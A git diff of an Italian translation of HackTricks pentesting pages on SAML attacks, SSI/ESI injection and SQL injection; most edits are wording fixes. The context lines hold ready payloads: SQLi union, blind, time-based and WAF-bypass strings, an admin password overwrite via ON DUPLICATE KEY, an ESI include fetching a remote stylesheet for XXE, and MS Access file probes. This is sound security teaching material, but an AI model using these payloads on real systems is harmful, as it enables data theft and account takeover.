+I seguenti attacchi si basano su [**questo post del blog**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **e** [**questo documento**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Quindi controllali per ulteriori dettagli.
 
 ### XSW #1
 
 - **Strategia**: Viene aggiunto un nuovo elemento radice contenente la firma.
-- **Implicazione**: Il validatore potrebbe confondersi tra il legittimo "Response -> Assertion -> Subject" e il "Response -> Assertion -> Subject" malvagio dell'attaccante, portando a problemi di integrità dei dati.
+- **Implicazione**: Il validatore potrebbe confondersi tra il legittimo "Response -> Assertion -> Subject" e il "nuovo Response -> Assertion -> Subject" dell'attaccante, portando a problemi di integrità dei dati.
 
 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](<../../images/image (506).png>)
 
@@ -87,15 +87,15 @@ I seguenti attacchi si basano su [**questo post del blog**](https://epi052.gitla
 
 ### XSW #5
 
-- **Aspetto Unico**: Né la firma né l'asserzione originale aderiscono a configurazioni standard (avvolte/avvolgenti/staccate).
+- **Aspetto Unico**: Né la Firma né l'asserzione originale aderiscono a configurazioni standard (avvolte/avvolgenti/staccate).
-- **Implicazione**: L'asserzione copiata avvolge la firma, modificando la struttura del documento attesa.
+- **Implicazione**: L'asserzione copiata avvolge la Firma, modificando la struttura del documento attesa.
 
 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../images/image (1030).png>)
 
 ### XSW #6
 
 - **Strategia**: Inserimento in una posizione simile a XSW #4 e #5, ma con una variazione.
-- **Implicazione**: L'asserzione copiata avvolge la firma, che poi avvolge l'asserzione originale, creando una struttura ingannevole annidata.
+- **Implicazione**: L'asserzione copiata avvolge la Firma, che poi avvolge l'asserzione originale, creando una struttura ingannevole annidata.
 
 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](<../../images/image (169).png>)
 
@@ -125,7 +125,7 @@ Se non sai che tipo di attacchi sono XXE, ti preghiamo di leggere la seguente pa
 ../xxe-xee-xml-external-entity.md
 {{#endref}}
 
-Le risposte SAML sono **documenti XML deflazionati e codificati in base64** e possono essere suscettibili ad attacchi di XML External Entity (XXE). Manipolando la struttura XML della risposta SAML, gli attaccanti possono tentare di sfruttare le vulnerabilità XXE. Ecco come un tale attacco può essere visualizzato:
+Le risposte SAML sono **documenti XML deflazionati e codificati in base64** e possono essere suscettibili ad attacchi XML External Entity (XXE). Manipolando la struttura XML della risposta SAML, gli attaccanti possono tentare di sfruttare le vulnerabilità XXE. Ecco come un tale attacco può essere visualizzato:
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE foo [
@@ -157,7 +157,7 @@ Per ulteriori informazioni su XSLT vai a:
 ../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
 {{#endref}}
 
-Le trasformazioni del linguaggio di foglio di stile estensibile (XSLT) possono essere utilizzate per trasformare documenti XML in vari formati come HTML, JSON o PDF. È fondamentale notare che **le trasformazioni XSLT vengono eseguite prima della verifica della firma digitale**. Ciò significa che un attacco può avere successo anche senza una firma valida; una firma autofirmata o non valida è sufficiente per procedere.
+Le Trasformazioni del Linguaggio di Stile Estensibile (XSLT) possono essere utilizzate per trasformare documenti XML in vari formati come HTML, JSON o PDF. È fondamentale notare che **le trasformazioni XSLT vengono eseguite prima della verifica della firma digitale**. Ciò significa che un attacco può avere successo anche senza una firma valida; una firma autofirmata o non valida è sufficiente per procedere.
 
 Qui puoi trovare un **POC** per controllare questo tipo di vulnerabilità, nella pagina hacktricks menzionata all'inizio di questa sezione puoi trovare payload.
 ```xml
@@ -179,51 +179,51 @@ Qui puoi trovare un **POC** per controllare questo tipo di vulnerabilità, nella
 ...
 </ds:Signature>
 ```
-### Strumento
+### Tool
 
 Puoi anche utilizzare l'estensione Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) per generare il POC da una richiesta SAML per testare possibili vulnerabilità XSLT.
 
-Controlla anche questo intervento: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
+Controlla anche questo talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
 
-## Esclusione della Firma XML <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
+## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
 
-L'**Esclusione della Firma XML** osserva il comportamento delle implementazioni SAML quando l'elemento Firma non è presente. Se questo elemento è assente, **la validazione della firma potrebbe non avvenire**, rendendola vulnerabile. È possibile testare questo alterando i contenuti che di solito vengono verificati dalla firma.
+L'**XML Signature Exclusion** osserva il comportamento delle implementazioni SAML quando l'elemento Signature non è presente. Se questo elemento è mancante, **la validazione della firma potrebbe non avvenire**, rendendolo vulnerabile. È possibile testare questo alterando i contenuti che di solito vengono verificati dalla firma.
 
 ![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../images/image (457).png>)
 
-### Strumento <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
+### Tool <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
 
-Puoi anche utilizzare l'estensione Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercetta la Risposta SAML e clicca su `Rimuovi Firme`. In questo modo **tutti** gli elementi Firma vengono rimossi.
+Puoi anche utilizzare l'estensione Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercetta la risposta SAML e clicca su `Remove Signatures`. In questo modo **tutti** gli elementi Signature vengono rimossi.
 
-Con le firme rimosse, consenti alla richiesta di procedere verso il target. Se la Firma non è richiesta dal Servizio
+Con le firme rimosse, consenti alla richiesta di procedere verso il target. Se la firma non è richiesta dal Servizio
 
-## Falsificazione del Certificato <a href="#certificate-faking" id="certificate-faking"></a>
+## Certificate Faking <a href="#certificate-faking" id="certificate-faking"></a>
 
-## Falsificazione del Certificato
+## Certificate Faking
 
-La Falsificazione del Certificato è una tecnica per testare se un **Fornitore di Servizi (SP) verifica correttamente che un Messaggio SAML sia firmato** da un Identity Provider (IdP) fidato. Comporta l'uso di un \***certificato autofirmato** per firmare la Risposta o l'Asserzione SAML, il che aiuta a valutare il processo di validazione della fiducia tra SP e IdP.
+Il Certificate Faking è una tecnica per testare se un **Service Provider (SP) verifica correttamente che un messaggio SAML sia firmato** da un Identity Provider (IdP) fidato. Comporta l'uso di un \***self-signed certificate** per firmare la risposta o l'asserzione SAML, il che aiuta a valutare il processo di validazione della fiducia tra SP e IdP.
 
-### Come Condurre la Falsificazione del Certificato
+### Come Condurre il Certificate Faking
 
 I seguenti passaggi delineano il processo utilizzando l'estensione Burp [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e):
 
-1. Intercetta la Risposta SAML.
+1. Intercetta la risposta SAML.
-2. Se la risposta contiene una firma, invia il certificato a SAML Raider Certs utilizzando il pulsante `Invia Certificato a SAML Raider Certs`.
+2. Se la risposta contiene una firma, invia il certificato a SAML Raider Certs utilizzando il pulsante `Send Certificate to SAML Raider Certs`.
-3. Nella scheda Certificati di SAML Raider, seleziona il certificato importato e clicca su `Salva e Autofirma` per creare un clone autofirmato del certificato originale.
+3. Nella scheda Certificati di SAML Raider, seleziona il certificato importato e clicca su `Save and Self-Sign` per creare un clone self-signed del certificato originale.
-4. Torna alla richiesta intercettata nel Proxy di Burp. Seleziona il nuovo certificato autofirmato dal menu a discesa della Firma XML.
+4. Torna alla richiesta intercettata nel Proxy di Burp. Seleziona il nuovo certificato self-signed dal menu a discesa XML Signature.
-5. Rimuovi eventuali firme esistenti con il pulsante `Rimuovi Firme`.
+5. Rimuovi eventuali firme esistenti con il pulsante `Remove Signatures`.
-6. Firma il messaggio o l'asserzione con il nuovo certificato utilizzando il pulsante **`(Ri-)Firma Messaggio`** o **`(Ri-)Firma Asserzione`**, a seconda dei casi.
+6. Firma il messaggio o l'asserzione con il nuovo certificato utilizzando il pulsante **`(Re-)Sign Message`** o **`(Re-)Sign Assertion`**, a seconda dei casi.
-7. Inoltra il messaggio firmato. L'autenticazione riuscita indica che lo SP accetta messaggi firmati dal tuo certificato autofirmato, rivelando potenziali vulnerabilità nel processo di validazione dei messaggi SAML.
+7. Inoltra il messaggio firmato. L'autenticazione riuscita indica che lo SP accetta messaggi firmati dal tuo certificato self-signed, rivelando potenziali vulnerabilità nel processo di validazione dei messaggi SAML.
 
-## Confusione del Destinatario del Token / Confusione del Target del Fornitore di Servizi <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
+## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
 
-La Confusione del Destinatario del Token e la Confusione del Target del Fornitore di Servizi comportano il controllo se il **Fornitore di Servizi valida correttamente il destinatario previsto di una risposta**. In sostanza, un Fornitore di Servizi dovrebbe rifiutare una risposta di autenticazione se era destinata a un fornitore diverso. L'elemento critico qui è il campo **Destinatario**, presente all'interno dell'elemento **SubjectConfirmationData** di una Risposta SAML. Questo campo specifica un URL che indica dove deve essere inviata l'Asserzione. Se il destinatario effettivo non corrisponde al Fornitore di Servizi previsto, l'Asserzione dovrebbe essere considerata non valida.
+La Token Recipient Confusion e la Service Provider Target Confusion comportano il controllo se il **Service Provider valida correttamente il destinatario previsto di una risposta**. In sostanza, un Service Provider dovrebbe rifiutare una risposta di autenticazione se era destinata a un provider diverso. L'elemento critico qui è il campo **Recipient**, trovato all'interno dell'elemento **SubjectConfirmationData** di una risposta SAML. Questo campo specifica un URL che indica dove deve essere inviata l'asserzione. Se il destinatario effettivo non corrisponde allo Service Provider previsto, l'asserzione dovrebbe essere considerata non valida.
 
 #### **Come Funziona**
 
-Affinché un attacco di Confusione del Destinatario del Token SAML (SAML-TRC) sia fattibile, devono essere soddisfatte determinate condizioni. In primo luogo, deve esserci un account valido su un Fornitore di Servizi (denominato SP-Legit). In secondo luogo, il Fornitore di Servizi mirato (SP-Target) deve accettare token dallo stesso Identity Provider che serve SP-Legit.
+Affinché un attacco di Token Recipient Confusion (SAML-TRC) sia fattibile, devono essere soddisfatte determinate condizioni. Innanzitutto, deve esserci un account valido su un Service Provider (denominato SP-Legit). In secondo luogo, il Service Provider mirato (SP-Target) deve accettare token dallo stesso Identity Provider che serve SP-Legit.
 
-Il processo di attacco è semplice in queste condizioni. Viene avviata una sessione autentica con SP-Legit tramite l'Identity Provider condiviso. La Risposta SAML dall'Identity Provider a SP-Legit viene intercettata. Questa Risposta SAML intercettata, originariamente destinata a SP-Legit, viene quindi reindirizzata a SP-Target. Il successo di questo attacco è misurato dall'accettazione dell'Asserzione da parte di SP-Target, concedendo accesso alle risorse sotto lo stesso nome account utilizzato per SP-Legit.
+Il processo di attacco è semplice in queste condizioni. Una sessione autentica viene avviata con SP-Legit tramite l'Identity Provider condiviso. La risposta SAML dall'Identity Provider a SP-Legit viene intercettata. Questa risposta SAML intercettata, originariamente destinata a SP-Legit, viene quindi reindirizzata a SP-Target. Il successo di questo attacco è misurato dall'accettazione dell'asserzione da parte di SP-Target, concedendo accesso alle risorse sotto lo stesso nome account utilizzato per SP-Legit.
 ```python
 # Example to simulate interception and redirection of SAML Response
 def intercept_and_redirect_saml_response(saml_response, sp_target_url):

src/pentesting-web/saml-attacks/saml-basics.md

@@ -24,7 +24,7 @@ Il processo di autenticazione SAML coinvolge diversi passaggi, come illustrato n
 5. **Autenticazione presso l'IdP**: L'IdP autentica l'utente.
 6. **Validazione dell'Utente**: L'IdP valida la legittimità dell'utente per accedere alla risorsa richiesta.
 7. **Creazione della Risposta SAML**: L'IdP genera una Risposta SAML contenente le asserzioni necessarie.
-8. **Reindirizzamento all'URL ACS dello SP**: L'utente viene reindirizzato all'URL del Servizio di Consumo delle Asserzioni (ACS) dello SP.
+8. **Reindirizzamento all'URL ACS dello SP**: L'utente viene reindirizzato all'URL del Servizio Consumatore di Asserzioni (ACS) dello SP.
 9. **Validazione della Risposta SAML**: L'ACS valida la Risposta SAML.
 10. **Accesso alla Risorsa Consentito**: L'accesso alla risorsa inizialmente richiesta è consentito.
 
@@ -59,7 +59,7 @@ Puoi trovare una [full SAML response here](https://epi052.gitlab.io/notes-to-sel
 - **saml:Assertion**: Questa parte contiene informazioni sull'identità dell'utente e possibilmente altri attributi.
 - **saml:Subject**: Specifica il soggetto principale di tutte le dichiarazioni nell'asserzione.
 - **saml:StatusCode**: Rappresenta lo stato dell'operazione in risposta alla richiesta corrispondente.
-- **saml:Conditions**: Dettaglia condizioni come il periodo di validità dell'asserzione e il Service Provider specificato.
+- **saml:Conditions**: Dettaglia le condizioni come il periodo di validità dell'asserzione e il Service Provider specificato.
 - **saml:AuthnStatement**: Conferma che l'IdP ha autenticato il soggetto dell'asserzione.
 - **saml:AttributeStatement**: Contiene attributi che descrivono il soggetto dell'asserzione.
 
@@ -69,7 +69,7 @@ Dopo che la richiesta POST è stata ricevuta e la SAML Response è stata validat
 
 # Firme XML
 
-Le firme XML sono versatili, capaci di firmare un intero albero XML o elementi specifici al suo interno. Possono essere applicate a qualsiasi oggetto XML, non solo agli elementi Response. Di seguito sono riportati i tipi chiave di firme XML:
+Le firme XML sono versatili, capaci di firmare un intero albero XML o elementi specifici al suo interno. Possono essere applicate a qualsiasi oggetto XML, non solo agli elementi di risposta. Di seguito sono riportati i tipi chiave di firme XML:
 
 ### Struttura di base della firma XML
 

src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md

@@ -17,7 +17,7 @@ E, quando la pagina viene servita, questo frammento verrà valutato e sostituito
 
 La decisione su quando utilizzare SSI e quando far generare completamente la tua pagina da un programma è solitamente una questione di quanto della pagina è statico e quanto deve essere ricalcolato ogni volta che la pagina viene servita. SSI è un ottimo modo per aggiungere piccoli pezzi di informazione, come l'ora corrente - mostrata sopra. Ma se la maggior parte della tua pagina viene generata al momento in cui viene servita, devi cercare un'altra soluzione.
 
-Puoi dedurre la presenza di SSI se l'applicazione web utilizza file con l'estensiones**`.shtml`, `.shtm` o `.stm`**, ma non è solo questo il caso.
+Puoi inferire la presenza di SSI se l'applicazione web utilizza file con l'estensiones**`.shtml`, `.shtm` o `.stm`**, ma non è solo questo il caso.
 
 Un'espressione SSI tipica ha il seguente formato:
 ```
@@ -93,7 +93,7 @@ hell<!--esi-->o
 
 - **Includes**: Supporta la direttiva `<esi:includes>`
 - **Vars**: Supporta la direttiva `<esi:vars>`. Utile per bypassare i filtri XSS
-- **Cookie**: I cookie del documento sono accessibili al motore ESI
+- **Cookie**: I cookie del documento sono accessibili all'engine ESI
 - **Upstream Headers Required**: Le applicazioni surrogate non elaboreranno le dichiarazioni ESI a meno che l'applicazione upstream non fornisca le intestazioni
 - **Host Allowlist**: In questo caso, gli include ESI sono possibili solo da host server autorizzati, rendendo SSRF, ad esempio, possibile solo contro quegli host
 
@@ -183,7 +183,7 @@ Questo invierà informazioni di debug incluse nella risposta:
 ```
 ### ESI + XSLT = XXE
 
-È possibile utilizzare la sintassi di **`eXtensible Stylesheet Language Transformations (XSLT)`** in ESI semplicemente indicando il valore del param **`dca`** come **`xslt`**. Questo potrebbe consentire di abusare di **XSLT** per creare e sfruttare una vulnerabilità di Entità Estera XML (XXE):
+È possibile utilizzare la sintassi di **`eXtensible Stylesheet Language Transformations (XSLT)`** in ESI semplicemente indicando il valore del parametro **`dca`** come **`xslt`**. Questo potrebbe consentire di abusare di **XSLT** per creare e sfruttare una vulnerabilità di Entità Esterna XML (XXE):
 ```xml
 <esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
 ```

src/pentesting-web/sql-injection/README.md

@@ -9,7 +9,7 @@ Un **SQL injection** è una vulnerabilità di sicurezza che consente agli attacc
 
 ## Rilevamento dei punti di ingresso
 
-Quando un sito appare **vulnerabile all'iniezione SQL (SQLi)** a causa di risposte insolite del server a input correlati a SQLi, il **primo passo** è comprendere come **iniettare dati nella query senza interromperla**. Questo richiede di identificare il metodo per **uscire dal contesto attuale** in modo efficace. Questi sono alcuni esempi utili:
+Quando un sito appare **vulnerabile all'iniezione SQL (SQLi)** a causa di risposte insolite del server a input correlati all'SQLi, il **primo passo** è comprendere come **iniettare dati nella query senza interromperla**. Questo richiede di identificare il metodo per **uscire dal contesto attuale** in modo efficace. Questi sono alcuni esempi utili:
 ```
 [Nothing]
 '
@@ -56,7 +56,7 @@ HQL does not support comments
 
 Un metodo affidabile per confermare una vulnerabilità di SQL injection implica l'esecuzione di un **operazione logica** e l'osservazione dei risultati attesi. Ad esempio, un parametro GET come `?username=Peter` che produce contenuti identici quando modificato in `?username=Peter' or '1'='1` indica una vulnerabilità di SQL injection.
 
-Allo stesso modo, l'applicazione di **operazioni matematiche** serve come una tecnica di conferma efficace. Ad esempio, se l'accesso a `?id=1` e `?id=2-1` produce lo stesso risultato, è indicativo di SQL injection.
+Allo stesso modo, l'applicazione di **operazioni matematiche** funge da tecnica di conferma efficace. Ad esempio, se l'accesso a `?id=1` e `?id=2-1` produce lo stesso risultato, è indicativo di SQL injection.
 
 Esempi che dimostrano la conferma dell'operazione logica:
 ```
@@ -71,7 +71,7 @@ Questa lista di parole è stata creata per cercare di **confermare le SQL inject
 
 ### Confermare con il Timing
 
-In alcuni casi **non noterai alcun cambiamento** nella pagina che stai testando. Pertanto, un buon modo per **scoprire le SQL injection cieche** è far eseguire azioni al DB che avranno un **impatto sul tempo** necessario per caricare la pagina.\
+In alcuni casi **non noterai alcuna modifica** nella pagina che stai testando. Pertanto, un buon modo per **scoprire le SQL injection cieche** è far eseguire azioni al DB che avranno un **impatto sul tempo** necessario per caricare la pagina.\
 Pertanto, andremo a concatenare nella query SQL un'operazione che richiederà molto tempo per completarsi:
 ```
 MySQL (string concat and logical ops)
@@ -129,7 +129,7 @@ Il modo migliore per identificare il back-end è provare a eseguire funzioni dei
 Inoltre, se hai accesso all'output della query, potresti farlo **stampare la versione del database**.
 
 > [!NOTE]
-> In una continuazione discuteremo diversi metodi per sfruttare diversi tipi di SQL Injection. Useremo MySQL come esempio.
+> In seguito discuteremo diversi metodi per sfruttare diversi tipi di SQL Injection. Useremo MySQL come esempio.
 
 ### Identificazione con PortSwigger
 
@@ -163,13 +163,13 @@ Per determinare il numero di colonne in una query, regola progressivamente il nu
 ```
 #### UNION SELECT
 
-Seleziona sempre più valori nulli finché la query non è corretta:
+Seleziona sempre più valori null fino a quando la query non è corretta:
 ```sql
 1' UNION SELECT null-- - Not working
 1' UNION SELECT null,null-- - Not working
 1' UNION SELECT null,null,null-- - Worked
 ```
-_Dovresti usare valori `null` poiché in alcuni casi il tipo delle colonne di entrambi i lati della query deve essere lo stesso e null è valido in ogni caso._
+_Dovresti usare i valori `null` poiché in alcuni casi il tipo delle colonne di entrambi i lati della query deve essere lo stesso e null è valido in ogni caso._
 
 ### Estrai nomi di database, nomi di tabelle e nomi di colonne
 
@@ -186,26 +186,26 @@ Negli esempi seguenti recupereremo il nome di tutti i database, il nome della ta
 ```
 _C'è un modo diverso per scoprire questi dati su ogni database diverso, ma la metodologia è sempre la stessa._
 
-## Sfruttare l'Iniezione Basata su Union Nascosta
+## Sfruttare l'Iniezione Unione Nascosta
 
-Quando l'output di una query è visibile, ma un'iniezione basata su union sembra irraggiungibile, ciò significa che è presente un'iniezione **basata su union nascosta**. Questo scenario porta spesso a una situazione di iniezione cieca. Per trasformare un'iniezione cieca in una basata su union, è necessario discernere la query di esecuzione sul backend.
+Quando l'output di una query è visibile, ma un'iniezione basata su unione sembra irraggiungibile, ciò significa che è presente un'**iniezione unione nascosta**. Questo scenario porta spesso a una situazione di iniezione cieca. Per trasformare un'iniezione cieca in una basata su unione, è necessario discernere la query di esecuzione sul backend.
 
-Questo può essere realizzato attraverso l'uso di tecniche di iniezione cieca insieme alle tabelle predefinite specifiche per il tuo Database Management System (DBMS) target. Per comprendere queste tabelle predefinite, è consigliato consultare la documentazione del DBMS target.
+Questo può essere realizzato attraverso l'uso di tecniche di iniezione cieca insieme alle tabelle predefinite specifiche per il tuo Database Management System (DBMS) di destinazione. Per comprendere queste tabelle predefinite, è consigliato consultare la documentazione del DBMS di destinazione.
 
-Una volta estratta la query, è necessario adattare il tuo payload per chiudere in modo sicuro la query originale. Successivamente, una query union viene aggiunta al tuo payload, facilitando lo sfruttamento della nuova iniezione basata su union accessibile.
+Una volta estratta la query, è necessario adattare il tuo payload per chiudere in modo sicuro la query originale. Successivamente, una query di unione viene aggiunta al tuo payload, facilitando lo sfruttamento dell'iniezione basata su unione ora accessibile.
 
 Per ulteriori approfondimenti, fai riferimento all'articolo completo disponibile su [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
 
-## Sfruttare l'Iniezione Basata su Errori
+## Sfruttare l'Iniezione Basata su Errore
 
 Se per qualche motivo **non puoi** vedere l'**output** della **query** ma puoi **vedere i messaggi di errore**, puoi utilizzare questi messaggi di errore per **ex-filtrare** dati dal database.\
-Seguendo un flusso simile a quello dell'iniezione basata su Union, potresti riuscire a dumpare il DB.
+Seguendo un flusso simile a quello dell'iniezione basata su unione, potresti riuscire a dumpare il DB.
 ```sql
 (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
 ```
 ## Sfruttare Blind SQLi
 
-In questo caso non puoi vedere i risultati della query o gli errori, ma puoi **distinguere** quando la query **restituisce** una risposta **vera** o **falsa** perché ci sono contenuti diversi sulla pagina.\
+In questo caso non puoi vedere i risultati della query o gli errori, ma puoi **distinguere** quando la query **restituisce** una risposta **vera** o **falsa** perché ci sono contenuti diversi nella pagina.\
 In questo caso, puoi abusare di quel comportamento per estrarre il database carattere per carattere:
 ```sql
 ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
@@ -218,13 +218,13 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
 ```
 ## Sfruttare SQLi Basato sul Tempo
 
-In questo caso non **c'è** alcun modo per **distinguere** la **risposta** della query in base al contesto della pagina. Ma, puoi far sì che la pagina **impieghi più tempo a caricarsi** se il carattere indovinato è corretto. Abbiamo già visto questa tecnica in uso prima per [confermare una vulnerabilità SQLi](./#confirming-with-timing).
+In questo caso non **c'è** alcun modo per **distinguere** la **risposta** della query in base al contesto della pagina. Ma, puoi far sì che la pagina **richieda più tempo per caricarsi** se il carattere indovinato è corretto. Abbiamo già visto questa tecnica in uso prima per [confermare una vulnerabilità SQLi](./#confirming-with-timing).
 ```sql
 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
 ```
 ## Stacked Queries
 
-Puoi utilizzare le stacked queries per **eseguire più query in succession**. Tieni presente che mentre le query successive vengono eseguite, i **risultati** **non vengono restituiti all'applicazione**. Pertanto, questa tecnica è principalmente utile in relazione a **vulnerabilità cieche** in cui puoi utilizzare una seconda query per attivare una ricerca DNS, un errore condizionale o un ritardo temporale.
+Puoi utilizzare le stacked queries per **eseguire più query in successione**. Tieni presente che mentre le query successive vengono eseguite, i **risultati** **non vengono restituiti all'applicazione**. Pertanto, questa tecnica è principalmente utile in relazione a **vulnerabilità cieche** in cui puoi utilizzare una seconda query per attivare una ricerca DNS, un errore condizionale o un ritardo temporale.
 
 **Oracle** non supporta le **stacked queries.** **MySQL, Microsoft** e **PostgreSQL** le supportano: `QUERY-1-HERE; QUERY-2-HERE`
 
@@ -299,7 +299,7 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
 r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
 print r.text
 ```
-### Iniezione polyglot (multicontext)
+### Iniezione poliglotta (multicontext)
 ```sql
 SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
 ```
@@ -317,7 +317,7 @@ Per farlo, dovresti provare a **creare un nuovo oggetto chiamato "oggetto master
 
 Se il database è vulnerabile e il numero massimo di caratteri per il nome utente è ad esempio 30 e vuoi impersonare l'utente **admin**, prova a creare un nome utente chiamato: "_admin \[30 spazi] a_" e qualsiasi password.
 
-Il database **verificherà** se il **nome utente** introdotto **esiste** all'interno del database. Se **non** esiste, **taglierà** il **nome utente** al **numero massimo di caratteri consentito** (in questo caso a: "_admin \[25 spazi]_") e poi **rimuoverà automaticamente tutti gli spazi alla fine aggiornando** all'interno del database l'utente "**admin**" con la **nuova password** (potrebbero apparire alcuni errori, ma non significa che non abbia funzionato).
+Il database **verificherà** se il **nome utente** introdotto **esiste** all'interno del database. Se **non** esiste, **taglierà** il **nome utente** al **numero massimo di caratteri consentito** (in questo caso a: "_admin \[25 spazi]_") e poi **rimuoverà automaticamente tutti gli spazi alla fine aggiornando** all'interno del database l'utente "**admin**" con la **nuova password** (potrebbero apparire alcuni errori, ma ciò non significa che non abbia funzionato).
 
 Ulteriori informazioni: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
 
@@ -343,7 +343,7 @@ Ecco come funziona:
 
 - La query tenta di inserire due righe: una per `generic_user@example.com` e un'altra per `admin_generic@example.com`.
 - Se la riga per `admin_generic@example.com` esiste già, la clausola `ON DUPLICATE KEY UPDATE` si attiva, istruendo MySQL ad aggiornare il campo `password` della riga esistente a "bcrypt_hash_of_newpassword".
-- Di conseguenza, l'autenticazione può quindi essere tentata utilizzando `admin_generic@example.com` con la password corrispondente all'hash bcrypt ("bcrypt_hash_of_newpassword" rappresenta l'hash bcrypt della nuova password, che dovrebbe essere sostituito con l'hash reale della password desiderata).
+- Di conseguenza, l'autenticazione può quindi essere tentata utilizzando `admin_generic@example.com` con la password corrispondente all'hash bcrypt ("bcrypt_hash_of_newpassword" rappresenta l'hash bcrypt della nuova password, che dovrebbe essere sostituito con l'hash effettivo della password desiderata).
 
 ### Estrai informazioni
 
@@ -377,9 +377,9 @@ Utilizzando **hex** e **replace** (e **substr**):
 #Full ascii uppercase and lowercase replace:
 '+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
 ```
-## Routed SQL injection
+## SQL injection instradato
 
-L'iniezione SQL routata è una situazione in cui la query iniettabile non è quella che fornisce output, ma l'output della query iniettabile va alla query che fornisce output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
+L'SQL injection instradato è una situazione in cui la query iniettabile non è quella che produce output, ma l'output della query iniettabile va alla query che produce output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
 
 Esempio:
 ```
@@ -388,7 +388,7 @@ Esempio:
 ```
 ## Bypass WAF
 
-[Iniziali bypass da qui](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
+[Bypass iniziali da qui](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
 
 ### Bypass senza spazi
 
@@ -425,7 +425,7 @@ Blacklist usando parole chiave - bypass usando maiuscole/minuscole
 ?id=1 AnD 1=1#
 ?id=1 aNd 1=1#
 ```
-Blacklist utilizzando parole chiave senza distinzione tra maiuscole e minuscole - bypassare utilizzando un operatore equivalente
+Blacklist usando parole chiave senza distinzione tra maiuscole e minuscole - bypass usando un operatore equivalente
 ```
 AND   -> && -> %26%26
 OR    -> || -> %7C%7C

src/pentesting-web/sql-injection/ms-access-sql-injection.md

@@ -31,7 +31,7 @@ Non sono supportate.
 
 ### LIMIT
 
-L'operatore **`LIMIT`** **non è implementato**. Tuttavia, è possibile limitare i risultati delle query SELECT alle **prime N righe della tabella utilizzando l'operatore `TOP`**. `TOP` accetta come argomento un intero, che rappresenta il numero di righe da restituire.
+L'operatore **`LIMIT`** **non è implementato**. Tuttavia, è possibile limitare i risultati della query SELECT alle **prime N righe della tabella utilizzando l'operatore `TOP`**. `TOP` accetta come argomento un intero, che rappresenta il numero di righe da restituire.
 ```sql
 1' UNION SELECT TOP 3 attr FROM table%00
 ```
@@ -140,7 +140,7 @@ MS Access risponde con un **messaggio di errore contenente il percorso completo
 
 ### Enumerazione dei File
 
-Il seguente vettore d'attacco può essere utilizzato per **inferire l'esistenza di un file nel filesystem remoto**. Se il file specificato esiste, MS Access genera un messaggio di errore che informa che il formato del database è invalido:
+Il seguente vettore d'attacco può essere utilizzato per **inferire l'esistenza di un file nel filesystem remoto**. Se il file specificato esiste, MS Access genera un messaggio di errore che informa che il formato del database è non valido:
 
 `http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
 
@@ -150,7 +150,7 @@ Un altro modo per enumerare i file consiste nel **specificare un elemento databa
 
 ### Indovinare il Nome del File .mdb
 
-**Il nome del file del database (.mdb)** può essere inferito con la seguente query:
+Il **nome del file del database (.mdb)** può essere inferito con la seguente query:
 
 `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
 

src/pentesting-web/sql-injection/mssql-injection.md

@@ -7,9 +7,9 @@
